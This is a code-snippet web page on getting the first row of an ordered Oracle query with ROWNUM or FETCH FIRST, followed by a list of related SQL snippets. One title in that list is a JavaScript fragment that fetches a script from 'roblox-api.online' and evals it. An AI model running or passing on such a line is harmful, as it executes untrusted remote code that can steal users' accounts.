Oracle first row

SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC)
    WHERE ROWNUM = 1;
-- Oracle 12c:
SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC) 
    FETCH FIRST 1 ROW ONLY;
SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC) 
    FETCH FIRST 10 ROW ONLY;
SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC) 
    FETCH FIRST 10 ROWS ONLY;

Similar codes

10 votes349 views4 answers
Fetch first 5 characters of the string in sql
SQL
0 vote377 views1 answer
Copying query result to excel
SQL
10 votes405 views4 answers
Mysql if else
SQL
1 vote399 views2 answers
Full join
SQL
4 votes336 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote361 views2 answers
Mysql row_number() example
SQL
0 vote356 views1 answer
Sql server cannot create database diagram
SQL
4 votes374 views2 answers
Sql server date now
SQL
0 vote342 views1 answer
Delete double on SQL with multiple primary keys
SQL
37 votes455 views6 answers
Mysql update
SQL